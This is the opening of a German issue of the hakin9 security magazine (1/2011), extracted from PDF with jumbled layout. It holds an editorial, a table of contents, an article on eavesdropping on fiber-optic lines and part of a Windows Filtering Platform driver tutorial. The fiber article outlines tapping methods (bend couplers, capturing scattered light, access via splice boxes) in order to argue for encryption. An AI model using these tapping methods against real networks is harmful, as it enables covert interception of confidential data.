SSL-Zertifikate Einkaufen ist Vertrauenssache -
online und offline! Ihre Vorteile Bis zu
90 Vertra u Sie au en f über
Jahre
Erfahr
ung
unSERE PRodukTE • Domain Validation (DV)-Zertifikate
Tage längere Laufzeit*
Jederzeit
kostenloser Austausch Zusätzliche Lizenzen
ohne Aufpreis*
• Organization Validation (OV)-Zertifikate • Extended Validation (EV)-Zertifikate • Single-Zertifikate • Wildcard-Zertifikate • Multidomain (MDC)-Zertifikate • Unified Communication / Subject Alternative Name (UCC/SAN)-Zertifikate • Server Gated Cryptographie (SGC)-Zertifikate
Unkomplizierte Lieferung
auf Rechnung** Persönlicher Support in deutsch, englisch, spanisch und polnisch * in den Produktlinien Lite, Silver und Gold ** bei Pay-as-you-Go
LIEBE HAKIN9 LESER, 2011 ist schon da - die erste Januar Ausgabe von hakin9 auch. Das Hauptthema dieser Ausgabe ist „Windows Filtering Platform: Netzwerkdatenfilterung unter Windows“ - der Artikel von René Espenhahn. Beginnend mit Windows Vista hat Microsoft die Windows Filtering Platform in ihr Betriebssystem integriert. Sie soll die vielen über Jahrzehnte entstandenen Teillösungen zur Filterung der ein- und ausgehenden Netzwerkdaten ersetzen und eine einheitliche Basis zur Filterung bereitstellen. In diesem Artikel werden die Grundlagen der Windows Filtering Platform vorgestellt. Darauf aufbauend wird ein Beispiel aus dem Windows Driver Kit näher erläutert. Kann ein quelloffenes Pentesting-Tool an seine kommerzielle Pendants heranreichen? Welche Informationen eines Zielsystems sind für einen erfolgreichen Exploit erforderlich? Welche Vorteile bringt das Metasploit Framework? Darüber erfahren Sie aus dem Artikel von Alexander Winkler „Das Metasploit Framework als Unterstützung bei Penetrationstests“ in der Rubrik Tools. Lichtgeschwindigkeit ist die höchste Geschwindigkeit, mit der sich Einheiten bewegen können. Auch beim Austausch von Computerdaten setzt man auf optische Übertragungswege, um Höchstgeschwindigkeiten zu erreichen. Mit mehreren Gigabit pro Sekunde werden große Datenmengen in BackboneStrukturen oder zum Zusammenschluss von Rechenzentren ausgetauscht. Wie Glasfaserleitungen durch Lauschattacken bedroht werden, warum das so ist und welche Schutzmaßnahmen IT-Verantwortliche ergreifen sollten, erläutert uns Leonhard Zilz in dem Artikel „Angriffe in Lichtgeschwindigkeit - Gefahr durch Lauschattacken auf Glasfaserleitungen“ in der Rubrik Angriff. Besonders empfehlenswert ist das Interview mit Thomas Hackner, dem Geschäftsführer von HACKNER Security Intelligence. Diesmal unterhalten wir uns über Industrie- und Wirtschaftsspionage, IT-Penetration Tests, Social Engineering Audits und das Projekt SecurityPitfalls.org. Ich hoffe, dass wir mit dieser Ausgabe Ihren Herausforderungen gewachsen sind. Wenn Sie Ideen, Bemerkungen oder Tipps für Hakin9 haben, nehmen Sie sich kurz Zeit und beantworten die 11 Fragen, die unter: http:// hakin9.org/de/leserumfrage zu finden sind. Ihre Meinung ist uns wichtig. Damit helfen Sie uns das hakin9 IT Security Magazin noch besser zu gestalten und weiterzuentwickeln.
Viel Spaß bei der Lektüre! Ilona Przybysławska
5/2009 HAKIN9
4
1/2011
INHALTSVERZEICHNIS ANGRIFF
PRAXIS
06 Angriffe in Lichtgeschwindigkeit Gefahr durch Lauschattacken auf Glasfaserleitungen
20 Schwachstellen bei der Ressourcenoptimierung im virtuellen Raum
Leonhard Zilz Lichtgeschwindigkeit ist die höchste Geschwindigkeit, mit der sich Einheiten bewegen können. Auch beim Austausch von Computerdaten setzt man auf optische Übertragungswege, um Höchstgeschwindigkeiten zu erreichen. Mit mehreren Gigabit pro Sekunde werden große Datenmengen in Backbone-Strukturen oder zum Zusammenschluss von Rechenzentren ausgetauscht. Je mehr Daten in solchen Glasfasernetzen übertragen werden, umso brisanter werden auch Abhörattacken.
Steve Hampicke Die Virtualisierung von physischen Systemen gewinnt mehr und mehr an Bedeutung. Mittlerweile ein alter Hase unter den Virtualisierungsarten ist die Servervirtualisierung. Sie hat sich bereits in Unternehmen und Behörden etabliert und verdrängt erfolgreich die „alte“ physische Serverstruktur. Unternehmen und Behörden versprechen sich durch den Einsatz der Virtualisierung Kosteneinsparungen durch eine Reduzierung der Server-Hardware, Senkung der Energie und Minimierung des benötigten Platzes im Rechenzentrum. Doch die Virtualisierung von Servern bringt durch die neuen Techniken auch zusätzliches Gefahrenpotential gegenüber physischen Servern mit sich.
SICHERHEITSANWENDUNGEN 10 Windows Filtering Platform: Netzwerkdatenfilterung unter Windows
TOOLS
René Espenhahn Beginnend mit Windows Vista hat Microsoft die Windows Filtering Platform in ihr Betriebssystem integriert. Sie soll die vielen über Jahrzehnte entstandenen Teillösungen zur Filterung der ein- und ausgehenden Netzwerkdaten ersetzen und eine einheitliche Basis zur Filterung bereitstellen. In diesem Artikel werden die Grundlagen der Windows Filtering Platform vorgestellt. Darauf aufbauend wird ein Beispiel aus dem Windows Driver Kit näher erläutert.
32 Das Metasploit Framework als Unterstützung bei Penetrationstests Alexander Winkler Genaue und stets aktuelle Informationen zu besitzen ist heutzutage sehr viel wert, alles andere gleicht einem Blindflug im Düsenjet. Dies stimmt jedenfalls auch in Verbindung mit Penetrationstest. Ein Test kann immer nur das widerspiegeln was überhaupt erst entdeckt wurde. Das Metasploit Framework eignet sich in besonderer Weise als unterstützendes Mittel beim Pentesting.
Umschlagsentwurf: Przemysław Banasiewicz Werbung:
[email protected] herausgegeben vom Verlag: Software Press Sp. z o. o. SK Geschäftsführer: Paweł Marciniak Managing Director: Ewa Łozowicka
[email protected] Chefredakteurin: Ilona Przybysławska
[email protected] Redaktion/Betatester: Leonhard Zilz, Steve Hampicke, René Espenhahn, Alexander Winkler, Christian Stockhorst, Thomas Hackner, Christian Heutger, Björn Schulz, Michael Schratt, Ilias Aidonis Produktion: Andrzej Kuca DTP: Przemysław Banasiewicz 4
Anschrift: Software Press Sp. z o.o. SK ul. Bokserska 1, 02-682 Warszawa, Poland Tel. +48 22 427 36 56, Fax +48 22 244 24 59 www.hakin9.org/de Die Redaktion bemüht sich, dafür Sorge zu tragen, dass die in der Zeitschrift sowie auf den begleitenden Datenträgern erhaltenen Informationen und Anwendungen zutreffend und funktionsfähig sind, übernimmt jedoch keinerlei Gewähr für derer Geeignetheit für bestimmte Verwendungszwecke. Alle Markenzeichen, Logos und Handelsmarken, die sich in der Zeitschrift befinden, sind registrierte oder nicht-registrierte Markenzeichen der jeweiligen Eigenümer und dienen nur als inhaltliche Ergänzungen.
Anmerkung! Die in der Zeitschrift demonstrierten Techniken sind AUSSCHLIEßLICH in eigenen Rechnernetzen zu testen! Die Redaktion übernimmt keine Haftung für eventuelle Schäden oder Konsequenzen, die aus der unangemessenen Anwendung der beschriebenen Techniken entstehen. Die Anwendung der dargestellten Techniken kann auch zum Datenverlust führen! hakin9 erscheint in folgenden Sprachversionen und Ländern: deutsche Version (Deutschland, Schweiz, Österreich, Luxemburg), französische Version (Frankreich, Kanada, Belgien, Marokko), spanische Version (Spanien, Portugal), polnische Version (Polen), englische Version (Kanada, USA)
6/2010
InhaltsverzeIchnIs
36 Ncrack – Netzwerkauthentifizierungen knacken Christian Stockhorst Dieser Artikel beschreibt wie mit dem Tool Ncrack verschiedene Dienste im Netzwerk bzw. die Computer und andere Geräte im Netzwerk auf denen diese Dienste laufen auf schwache Passwörter überprüft werden können. Ncrack bedient sich dabei einem modularem Ansatz, für verschiedene Services.
INTERVIEW 44 Interview mit Thomas Hackner „Zu aller erst sollte man sich seiner Situation, seiner schutzwürdigen Interessen und seiner Risiken bewusst sein.“ Mehr erfahren Sie aus dem Interview mit Thomas Hackner, dem Geschäftsführer von HACKNER Security Intelligence.
EXPERTENBEREICH PSW GROUP 26 Malware-Scan mittels Comodo HackerProof oder VeriSign Trust Seal Christian Heutger Bedingt durch die Befürchtung vieler Verbraucher, beim Einkauf im Internet Opfer von Identitäts- beziehungsweise Datendiebstahl zu werden, entgingen Online-Händlern allein im Jahr 2008 Umsätze in Höhe von 21 Milliarden US-Dollar. Das ergaben Studien von VeriSign, einem Spezialisten für Zertifikatslösungen im Internet. Für Online-Shop- und Website-Betreiber gilt es daher Lösungen zu finden, mit deren Hilfe sie Besuchern ihrer Website, also potenziellen Kunden, aufzeigen können, dass sie sich auf einer vertrauenswürdigen, sicheren Website befinden, die täglich auf Schadcode, Malware und sonstige Schwachstellen hin gescannt wird.
29 Die rasche Auslieferung statischer Inhalte mittels Secure CDN - Weil auch bei der Sicherheit die Geschwindigkeit zählt Christian Heutger Bei der Übertragung von Inhalten ist auf Websites und in Online-Shops die Geschwindigkeit einer der wesentlichsten Erfolgsfaktoren: Denn Kundenbindung sowie ein gutes Listing in Suchmaschinen sind im Internet eben auch von der Höhe der Geschwindigkeit abhängig, mit der Inhalte – ganz gleich ob Texte, Bilder, FlashContent, Scripts oder Videos – geladen werden. Indem sie dafür sorgt, dass Besucher Freude an einer „schnellen“ Website haben und sie dadurch öfter besuchen sowie länger auf ihr verweilen, übt die Lade-Geschwindigkeit einen wesentlichen Einfluss auf die Qualität eines Websitebesuchs und damit auf den Umsatz aus.
Im Zusammenhang mit den Änderungen, die in letzter Zeit in dem deutschen Recht stattgefunden haben und die IT-Sicherheit betreffen, möchten wir ankündigen, dass hakin9-Abwehrmethoden Magazin seinem Profil treu bleibt. Unser Magazin dient ausschließlich den Erkenntniszwecken. Alle im Magazin präsentierten Methoden sollen für eine sichere IT fungieren. Wir legen einen großen Wert auf die Entwicklung von einem sicheren elektronischen Umsatz im Internet und der Bekämpfung von IT Kriminalität.
hakin9.org/de
5
ANGRIFF
Angriffe in Lichtgeschwindigkeit Gefahr durch Lauschattacken auf Glasfaserleitungen Leonhard Zilz Lichtgeschwindigkeit ist die höchste Geschwindigkeit, mit der sich Einheiten bewegen können. Auch beim Austausch von Computerdaten setzt man auf optische Übertragungswege, um Höchstgeschwindigkeiten zu erreichen. Mit mehreren Gigabit pro Sekunde werden große Datenmengen in Backbone-Strukturen oder zum Zusammenschluss von Rechenzentren ausgetauscht.
6
IN DIESEM ARTIKEL ERFAHREN SIE…
WAS SIE VORHER WISSEN SOLLTEN…
• wie Glasfaserleitungen durch Lauschattacken bedroht werden, warum das so ist und welche Schutzmaßnahmen IT-Verantwortliche ergreifen sollten.
• kein spezielles Vorwissen
e mehr Daten in solchen Glasfasernetzen übertragen werden, umso brisanter werden auch Abhörattacken. Geheime Informationen in fremden Händen – die Auswirkungen kennt man von WikiLeaks. Von Filmmaterial über US-Militäroperationen bis zu diplomatischen Geheimpapieren reichen die veröffentlichten Dokumente bisher. Als
J
nächste Enthüllung kündigt das Internet-Projekt an, das Innenleben einer großen US-Bank ausstellen zu wollen. Die Enthüllungsplattform, aber auch klassische Medien, greifen zur Erfüllung ihrer journalistischen Aufgabe auf Material zurück, das an sie weitergeleitet wurde. So brisant die veröffentlichten Informationen auch sein mögen - auf einem anderen Feld sind Finanzinstitute sowie viele andere Unter-
Abbildung 1. Lauschangriff auf Glasfaserkabel mit der Splitter-Coupler-Methode.
Abbildung 2. Angreifer biegen die Glasfaser, um mittels Biegekoppler auf den Informationsfluss zuzugreifen.
1/2011
Angriffe in Lichtgeschwindigkeit
nehmen viel direkter betroffen. Bekannte Schwachstellen optischer Glasfaserleitungen lassen sich ausnutzen, um an wertvolle Informationen zu kommen. Denn Glasfaserstrecken sind vor allem bei Hochleistungsrechenzentren mit besonders hohen Anforderungen an Rechenleistung und Bandbreite im Einsatz, wie sie in Banken, Versicherungen, Unternehmen und öffentlichen Verwaltungen typisch sind. Hier laufen in Hochgeschwindigkeit übertragene Echtzeitdaten und bandbreitenintensive Dienste über optische Übertragungssysteme. Der Datenhunger moderner Netzwerke wächst und so müssen die Verbindungswege neben einer hohen Übertragungsgeschwindigkeit auch bei Skalierbarkeit, Kapazität, Kompatibilität und Wirtschaftlichkeit überzeugen. Optische Glasfaserleitungen mit Gigabit-Übertragungsgeschwindigkeiten decken diese Bedürfnisse ab und verschicken Echtzeitinformationen von Standort zu Standort. Sie verfügen über die notwendigen Eigenschaften, um der im täglichen Geschäftsbetrieb anfallenden Datenflut aus E-Mails, hochauflösenden Bildern oder E-Business-Systeminformationen Herr zu werden. In gleicher Weise punktet die Kommunikationstechnologie in Lichtgeschwindigkeit bei Einsatzszenarien mit noch schärferen technischen Vorgaben – wie zum Beispiel bei Backup- und Disaster-Recovery-Daten. Unter Einhaltung von Compliance- und Best-Practice-Vorgaben lassen sich alle relevanten Daten auf separate Speichermedien übertragen. Glasfasernetze sorgen auch für den reibungslosen Betrieb gemeinschaftlich genutzter ERP-Systeme und E-Business-Applikationen.
gnals ist im Angriffsverlauf technisch nachweisbar. Dafür wird nicht einmal Spezialtechnik benötigt, denn solche Geräte sind frei erhältlich und gehören zur Standardausrüstung der Wartungstechniker, die den Zustand und die Funktion von Lichtwellenleitern regelmäßig überprüfen. Neugierige Mitlauscher können aber auch den direkten Kontakt mit der Datenleitung komplett vermeiden („Non-touching Methods“). Sie machen sich dabei zunutze, dass jedes Glasfaserkabel eine minimale Lichtmenge während des Weitertransports verliert. Empfindliche Fotodetektoren können diese Rayleigh-Streuung auffangen, die seitlich aus dem Kabel austritt. Aus dem technischen Betrieb kennen die Carrier diesen Streueffekt und gleichen den Verlust auf langen Übertragungsstrecken aus, indem sie die Signale verstärken. In gleicher Weise erhalten unbefugte Angreifer nunmehr lesbare Daten und können sie über Snifferprogramme auswerten. Auch große Echtzeit-Datenmengen lassen sich so auf Interna, Passwörter, Projekt-, Kunden- oder Personendaten durchsuchen.
Wie verschaffen sich Angreifer physischen Zugriff? Die fest eingebauten Zugangspunkte eines Glasfasernetzes eignen sich als unauffälliger Angriffspunkt für Daten-
Wenn Glasfasern gebogen werden… Neben den vielen Vorteilen dürfen auch die sicherheitstechnischen Nachteile nicht verschwiegen werden. Im öffentlichen Bewusstsein nicht verankert ist zum Beispiel, dass der blitzschnelle Austausch vertraulicher Informationen über optische Netzwerke nicht ohne Risiko ist. Lange hielt sich das Gerücht, Glasfaserleitungen seien im Gegensatz zu Kupferleitungen abhörsicher. Dabei sind für erfolgreiche Attacken auf optische Daten lediglich andere Angriffsmethoden nötig, um in Glasfasernetzen fündig zu werden. Über solche „Optical Tapping Methods“ lassen sich im allein deutschlandweit 340.000 Kilometer großen Glasfasernetz jederzeit und von überall vermeintlich sichere Informationen abfangen. Durch Biegen der Glasfaser („Splitter-Coupler-Methode“) mittels Biegekoppler lässt sich ein kleiner Prozentsatz des Lichts umleiten, ohne die Glasfaser zu verletzen. Wirtschaftsspione können dann auf den Informationsfluss heimlich zugreifen, das Signal über moderne Empfänger verstärken und die Daten in digital umgewandelter Form auslesen. Während des gesamten Lauschangriffes bleibt der Netzwerkbetrieb störungsfrei und nur eine minimale Veränderung des Nutzsi-
hakin9.org/de
Abbildung 3. Rund um die Erde liegen über 300 Millionen Kilometer gezogene Glasfaserkabel.
7
ANGRIFF
Abbildung 4. Hardware-Verschlüsselungslösungen von InfoGuard bringen „Dunkel ins Licht“. diebe. In den Verteilerkästen sind die einzelnen Fasern der Kabel miteinander verbunden und einige Leitungen eines Kabelbündels häufig auch markiert. Eigentlich nutzen Provider die Verteilerkästen, die über das ganze Streckennetz an verschiedenen Orten verteilt sind, nur zur Erkennung und Beseitigung von Störungen. Nach einem erfolgreichen Zugriff auf die Wartungskästen haben die Angreifer leichtes Spiel und können Lauschangriffe beginnen. Und das ist leichter als gedacht, denn die Spleisstellen sind in der Regel nur ungenügend vor unbefugtem Zugriff geschützt und damit eine echte Schwachstelle des Streckennetzes. Kein Wunder also, dass mittlerweile mehrere Fälle dokumentiert wurden, bei denen Glasfaserverbindungen abgehört wurden. In der Nähe der Finanzmetropole Frankfurt am Main beispielsweise starteten unbekannte Eindringlinge einen Abhörversuch auf drei Hauptverbindungen und wollten den über Glasfaserleitungen laufenden Datenverkehr mitschneiden. Ein vergleichbarer Lauschangriff auf die US-amerikanische Supermarktkette Hannaford hatte den Diebstahl von circa 4,2 Millionen Kreditkartendaten zur Folge. Der größte Industrieverband Nordamerikas, die National Association of Manufacturers (NAM), geht deshalb von einer ernstzunehmenden Gefährdung durch den Raub optisch übertragener Daten aus. Ihre Fachleute warnen, dass das Anzapfen von Glasfaserleitungen eine weit verbreitete Methode zur Wirtschaftsspionage ist. In einer aktuellen IDC-Studie fragt der Analyst Romain Fouchereau provokativ, ob die vermeintliche Sicherheit in optischen Glasfasernetzen nicht nur eine optische Täuschung sei. Schließlich gehe Glasfasernetzen in der öffentlichen Wahrnehmung fälschlicherweise immer noch der Ruf voraus, die schnellste, zuverlässigste und sicherste Technologie zu sein, um Daten zwischen verschiedenen Netzwerken auszutauschen. Fouchereaus Fazit: „Dieser Ruf hat sich als falsch erwiesen, denn neue und kostengünstige Technologien haben es Hackern ermöglicht, auf einfache Art und Weise Daten zu stehlen.“
8
Kryptographie verdunkelt geheime Informationen Best-Practice-Vorgaben für das Banken- und Versicherungsumfeld sowie andere Branchen empfehlen daher, den Transport sensibler Informationen grundsätzlich durch starke Verschlüsselung zu schützen. Das schreiben Regelwerke wie SOX, PCI-DSS, Basel II oder Datenschutzrichtlinien vor. Auch das deutsche Bundesamt für Sicherheit in der Informationstechnik (BSI) sieht Handlungsbedarf und empfiehlt den Einsatz von Kryptographie. Im Rahmen einer Information-Risk-Management-Strategie sind dabei Verschlüsselungstechnologien wie AES (Advanced Encryption Standard) mit Schlüssellängen bis zu 256 Bit die gängige Methode, sensible Daten zu schützen. Ein Spezialanbieter für die Entwicklung und Implementierung von Verschlüsselungslösungen in optischen Glasfasernetzen ist die Schweizer InfoGuard AG. Mit einem Produktportfolio verschiedener Hardware-Appliances konzentriert sie sich auf die kryptographische Absicherung hochsensibler Umgebungen im Banken-, Industrieund Dienstleistungsumfeld. InfoGuard bietet Verschlüsselungsplattformen mit Übertragungsraten von bis zu zehn Gigabit pro Sekunde für s��������������������������������� tark ausgelastete Links und zeitkritische Anwendungen. Die Chiffriergeräte zum Schutz von Gigabit-Ethernet-, SONET-, SDH-, Fibre-Channel-, FICON-, Fast-Ethernet- und E1-Verbindungen kommen unabhängig von der eingesetzten Netzwerk-Topologie ohne Overhead aus und lassen sich flexibel in die bestehenden Netzwerkinfrastruktur e integrieren.
LEONHARD ZILZ Der Autor ist Sales Director Europe Central & East bei der InfoGuard AG. Seit drei Jahrzehnten ist er in der IT Branche in verschiedenen verantwortlichen Positionen tätig und hat in den vergangenen Jahren seinen beruflichen Schwerpunkt auf die Themen Sicherheit und Verschlüsselung von Daten gelegt. Kontakt mit dem Autor:
[email protected]
1/2011
SICHERHEITSANWENDUNGEN
Windows Filtering Platform Netzwerkdatenfilterung unter Windows René Espenhahn Beginnend mit Windows Vista hat Microsoft die Windows Filtering Platform in ihr Betriebssystem integriert. Sie soll die vielen über Jahrzehnte entstandenen Teillösungen zur Filterung der ein- und ausgehenden Netzwerkdaten ersetzen und eine einheitliche Basis zur Filterung bereitstellen. In diesem Artikel werden die Grundlagen der Windows Filtering Platform vorgestellt. Darauf aufbauend wird ein Beispiel aus dem Windows Driver Kit näher erläutert. IN DIESEM ARTIKEL ERFAHREN SIE…
WAS SIE VORHER WISSEN SOLLTEN…
• Grundlagen der Windows Filtering Platform. • Entwicklung eines Netzwerkfilters mittels der Windows Filtering Platform
• Aufbau des TCP/IP-Stack. • Grundlagen zur Kerneltreiberentwicklung.
Einführung Mit der Veröffentlichung von Windows Vista im Jahr 2007 hatte Microsoft unter dem Namen Next generation network driver stack den Netzwerkstack des Betriebssystems nahezu komplett erneuert. Zu den Neuerungen gehörte unter anderem die Windows Filtering Platform[1] (WFP). Sie sollte spätestens ab Windows 7 die verwendeten Filter-Treiber des Transport Driver Interface (TDI), die TCP/IP-Filter- und Firewall-Hook-Treiber, die Winsock Layered Service Provider (LSP) und teilweise die Intermediate-Treiber der Network Driver Interface Specification (NDIS) durch eine einheitliche Plattform zum Filtern der ein- und ausgehenden Netzwerkdaten vollständig ablösen. Unter Windows Vista hatte die WFP allerdings noch einige Kinderkrankheiten, die dazu führten, dass viele Sicherheitsfirmen sie in ihren Produkten bis Windows 7 nicht produktiv einsetzten. Einhergehend mit Windows 7 hat Microsoft die WFP verbessert und die Kinderkrankheiten weitestgehend beseitigt. Weiterhin haben sie den alten Technologien noch einen letzten zeitlichen Aufschub gegeben und nicht, wie in den Fußnoten[2] im MSDN vermerkt, deren Unterstützung mit der Veröffentlichung von Windows 7 eingestellt. Nichts desto trotz kann Microsoft TDI & Co. nun jederzeit aus ihrem Betriebssystem entfernen. Es ist somit spätestens an der Zeit auf die Windows Filtering Platform umzusteigen.
Architektur der WFP Die WFP besteht aus vier Teilen, die in Abbildung 1 farblich hervor gehoben sind. Von den vier Teilen be-
10
findet sich einer im User-Mode und drei im Kernel-Mode des Betriebssystems. User-Mode und Kernel-Mode sind dabei Ausführungsebenen des Betriebssystems. Im User-Mode werden alle normalen Programme wie beispielsweise Office ausgeführt, während im KernelMode die Treiber sowie Betriebssystem-interne Funktionen ausgeführt werden. Seitens der WFP ist die Base Filter Engine (BFE) im User-Mode angesiedelt. Sie bietet verwaltende Schnittstellen zur Installation, Konfiguration und Deinstallation von WFP-Komponenten sowie Schnittstellen zur Statusabfrage der installierten Komponenten. Zu den Komponenten der WFP zählen hauptsächlich Filter. Damit ein Filter Netzwerkdaten filtern kann, muss er um weitere Komponenten, die in Abbildung 2 um den Filter dargestellt sind, ergänzt werden. Hierbei sind vor allem die pink dargestellten Komponenten wichtig, denn sie sind zwingend für den Betrieb eines Filters notwendig. Sie werden im späteren Verlauf detaillierter erklärt. Dadurch, dass die BFE im User-Mode angesiedelt ist, lassen sich Filter innerhalb normaler Programme erstellen und konfigurieren ohne, dass zwingend ein Kernel-Mode-Treiber entwickelt werden muss. Wird ein Filter mittels der Schnittstelle der BFE installiert, landet dieser, falls er nicht auf dem Internet Key Exchange (IKE)-, IPsec- oder User-Mode Remote Procedure Call (RPC) Layer operiert, in der KernelMode Filter Engine (KMFE) und somit im Kernel des Betriebssystems.
1/2011
Windows Filtering Platform Netzwerkdatenfilterung unter Windows
Die KMFE ist das Herzstück der WFP. Sie steuert die Anwendung sämtlicher installierter Filter. Wie in Abbildung 2 ersichtlich muss jeder Filter zwingend eine Layer-Komponente besitzen. Die Layer-Komponente definiert, auf welchem WFP-Layer der Filter arbeitet und somit, welche Daten der Filter von der KMFE zur Filterung übermittelt bekommt. In Abbildung 1 werden innerhalb der orange hervorgehobenen KMFE lediglich die zum TCP/IPStack passenden Filter-Layer dargestellt. Insgesamt besitzt die KMFE über 70 verschiedene Layer[4], an denen Filter hinzugefügt werden können, um die dort eintreffenden Netzwerkdaten zu filtern. Die hohe Zahl an Filter-Layer ergibt sich größten Teils daraus, dass viele Filter-Layer bis zu viermal vorhanden sind. Viermal deswegen, da die WFP oft zwischen IPv4 und IPv6 sowie ein- und ausgehender Richtung der Netzwerkdaten unterscheidet. Die Netzwerkdaten bezieht die KMFE mittels der in Abbildung 1 grün dargestellten Shim-Komponenten aus dem TCP/IP-Stack. Die Shim-Komponenten sind hierbei auf den verschiedenen Layern des TCP/IP-Stack installiert und leiten die bei ihnen ankommenden Netzwerkdaten zur KMFE um. Die KMFE reicht die Daten ihrerseits weiter zu den Filtern, die auf den betreffenden
WFP-Layern installiert sind und diese können die Netzwerkdaten nach ihren Kriterien filtern. Die KMFE sammelt alle Entscheidungen der Filter (Block oder Permit) und sendet das Endergebnis zurück zur ursprünglichen Shim-Komponente. Wird der Shim-Komponente von der KMFE ein Block übermittelt, blockiert und verwirft sie die Netzwerkdaten. Bei einem Permit können die Daten ihren Weg zum nächsten TCP/IP-Layer und somit zur nächsten Shim-Komponente bzw. zum Ziel fortsetzen. Abbildung 3 veranschaulicht dies. Filter können, wie in Abbildung 2 dargestellt, optional Bedingungen enthalten. Eine Bedingung kann beispielsweise sein, dass ein Filter nur Netzwerkdaten von einem speziellen Quellport filtern soll. Obwohl mit Windows 7 die Anzahl der unterschiedlichen Bedingungen gestiegen ist, beschränken sie sich weiterhin auf die Metadaten des Payload der Netzwerkdaten. Soll hingegen untersucht werden, ob das Wort rainy im Payload der Netzwerkdaten enthalten ist, so ist dieses mit einer Bedingung nicht realisierbar. Es muss ein Callout verwendet werden. Callouts sind benutzerdefinierte Routinen im Kernel-Mode. Besitzt ein Filter eine Callout-Referenz, so leitet der Filter alle Netzwerkdaten zur Entscheidungsfindung an den Callout weiter. Innerhalb des Callout kann ein Entwickler die Netzwerkdaten
Abbildung 1. Architektur der Windows Filtering Platform. Quelle: [3]
hakin9.org/de
11
SICHERHEITSANWENDUNGEN
ganz nach seinen Wünschen untersuchen und daraus die Entscheidung Block zum Blockieren oder Permit zum Passieren treffen. In Abbildung 3 werden zwei konkrete Abläufe einer Filterung mittels der WFP schematisch dargestellt. Im oberen Fall trifft eine Anfrage (A.) mit Zielport (ZP) 80 im TCP/IP-Stack ein. Der Stream Layer Shim der WFP leitet die Anfrage aus dem TCP/IP-Stack um zur KMFE. Die KMFE überprüft nun, welche Filter die Anfrage zur Filterung übergeben bekommen müssen und sortiert diese absteigend nach ihrer Gewichtung, auf die im späteren Verlauf noch eingegangen wird. Parallel dazu prüft sie die Bedingungen der Filter und sieht, dass der Filter mit der hohen Gewichtung (HG, zweiter von rechts) die Bedingung hat, nur Daten mit Zielport 8080 zu filtern. Da die Bedingung zur Anfrage nicht passt, wird dieser Filter übersprungen und dem niedriger gewichteten (NG) Filter die Anfrage übergeben. Dieser verfügt über einen Callout und sendet seinerseits die Anfrage zur Entscheidungsfindung weiter an den Callout. Der Callout entscheidet, dass die Anfrage blockiert werden soll und gibt diese Entscheidung zurück, welche nun, da kein weiterer Filter vorhanden ist, bis zum ursprünglichen Shim durchgereicht wird. Dieser verwirft die Anfrage aufgrund des Blocks. Der zweite Fall betrifft eine Anfrage mit dem Zielport 8080, sodass beide Filter aktiv werden. Hier kommt die Gewichtung zum Tragen und der HG-Filter bekommt die Anfrage zuerst von der KMFE. Nachdem er seine Entscheidung getroffen hat, bekommt der niedriger gewichtete Filter die Daten und gibt sie wieder seinem Callout, der in diesem Fall, genauso wie der HG-Filter, ein Permit zurückgibt. Die Permit-Entscheidung wird erneut, da kein weiterer Filter vorhanden ist, bis zum ursprünglichen Shim durchgereicht. Dieser gibt die Da-
ten, aufgrund des Permits, zurück in den TCP/IP-Stack, sodass sie ihren Weg fortsetzen können.
Vorbereitung zur Filterentwicklung Im weiteren Verlauf wird nun ein von Microsoft zur Verfügung gestellter Filter untersucht, der mittels Callout eine Filterung des Payload vollzieht. Der Filter ersetzt dabei in den Netzwerkdaten mit Zielport 5001 das Wort rainy gegen das Wort sunny. Da für den Callout ein Kernel-Mode Treiber notwendig ist, wird das Windows Driver Kit (WDK) benötigt[5]. Das WDK beinhaltet die Build-Umgebungen für die verschiedenen Windows-Versionen zum Kompilieren von Treibern, alle notwendigen Header-Dateien sowie Tools zur Treiberanalyse. Zum Entwickeln des Treibers wird Visual Studio 2010 verwendet, allerdings nur dessen Editor. Kompiliert wird der Treiber nicht mittels Visual Studio, sondern mit der jeweiligen Build-Umgebung des WDK. Sobald das WDK installiert ist, befindet sich das hier untersuchte WFP-Beispiel[6] im Unterordner src\network\trans\stmedit. Innerhalb von Visual Studio wird nun ein neues, leeres Visual C++-Projekt erstellt. Im Anschluss daran sollten alle Dateien aus dem WFPBeispiel-Verzeichnis in das Projektverzeichnis kopiert werden, damit der ursprüngliche Beispielcode unverändert bleibt. Nach dem Kopieren müssen die einzelnen Quelltext- (*.c) und Headerdateien (*.h) dem Visual Studio-Projekt hinzugefügt werden. Alle anderen Dateien sind vorerst nicht relevant und können ignoriert werden. Visual Studio zeigt nun an, dass einige #include unbekannt sind. Das liegt daran, dass Visual Studio das WDK nicht kennt. Dieses lässt sich lösen, indem das WDK in den Projektoptionen unter dem Punkt VC++Verzeichnisse hinzugefügt wird. Dazu muss bei Inclu-
Abbildung 2. Komponenten der Windows Filtering Platform.
12
1/2011
Windows Filtering Platform Netzwerkdatenfilterung unter Windows
Listing 1. MDL Speicherreservierung gStringToReplaceMdl= IoAllocateMdl( configStringToReplace, strlen(configStringToReplace), FALSE,
FALSE, NULL
); MmBuildMdlForNonPagedPool( gStringToReplaceMdl );
Listing 2. WFP Injection-Handle status = FwpsInjectionHandleCreate( AF _ UNSPEC, FWPS _ INJECTION _ TYPE _ STREAM, &gInjectionHandle );
deverzeichnisse das WDK-Unterverzeichnis inc\ddk und bei Bibliotheksverzeichnisse das WDK-Unterverzeichnis lib\win7\i386 hinzugefügt werden. Letzteres ist abhängig von der verwendeten Windowsversion. Hier wird Windows 7 x86 verwendet. Nach den Ergänzungen sollte Visual Studio alle Quellen kennen. Sollten
unter Windows 7 weiterhin Fehler angezeigt werden, so liegt das an Leerzeilen im Windows 7 SDK, die entfernt werden müssen[7].
Das Streamedit-Beispiel Das Microsoft Streamedit-Beispiel ist ein reiner KernelMode Treiber. Die Filter können deswegen nicht mittels der Schnittstellen der BFE, sondern müssen direkt an der KMFE installiert werden. Der Beispiel-Treiber gliedert sich in drei Teile. Die stream_callout.c ist für das Laden, Initialisieren und Entladen des Treibers verantwortlich. Die beiden Teile inline_edit.c und oob_edit.c sind die verschiedenen Implementierungen zum Durchsuchen und Ersetzen der Netzwerkdaten, wovon hier lediglich die Inline-Variante betrachtet wird. Die WFP bietet im Allgemeinen zwei verschiedene Ansätze zum Filtern von Netzwerkdaten an. Einmal können die Netzwerkdaten direkt im Durchfluss durch den Filter gefiltert werden, welches als inline edit bezeichnet wird und in der inline_edit.c des Beispiels realisiert ist. Die andere Methode, welche in der oob_edit.c des Beispiels implementiert ist, filtert die Netzwerkdaten out-of-band. Bei diesem Verfahren klont der Filter die bei ihm eintreffenden Netzwerkdaten und blockiert die ursprünglichen, sodass der betreffende Shim sie nach Verlassen der KMFE nicht 